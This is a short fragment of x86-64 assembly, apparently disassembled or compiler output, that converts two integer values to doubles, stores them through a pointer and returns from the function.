mov rax, rsi
movd xmm2, dword [rsp + 0x34]
mov rbx, qword [rsp + 0x38]
cvtdq2ps xmm0, xmm0
cvtdq2ps xmm2, xmm2
cvtps2pd xmm1, xmm0
cvtps2pd xmm0, xmm2
movsd qword [rsi], xmm1
movsd qword [rsi + 8], xmm0
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret